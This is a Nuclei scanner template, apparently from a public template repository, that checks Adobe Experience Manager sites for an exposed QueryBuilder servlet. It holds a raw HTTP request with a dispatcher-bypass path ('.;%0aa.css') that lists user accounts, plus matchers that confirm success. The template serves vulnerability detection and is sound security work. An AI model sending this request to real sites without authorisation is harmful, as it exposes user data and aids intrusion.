nuclei-templates/misconfiguration/aem/aem-jcr-querybuilder.yaml

28 lines
660 B
YAML

id: aem-jcr-querybuilder
info:
author: DhiyaneshDk
name: Query JCR role via QueryBuilder Servlet
severity: info
tags: aem
requests:
- raw:
- |
GET /bin/querybuilder.json.;%0aa.css?p.hits=full&property=rep:authorizableId&type=rep:User HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- '"success":true'
- 'jcr:uuid'
condition: and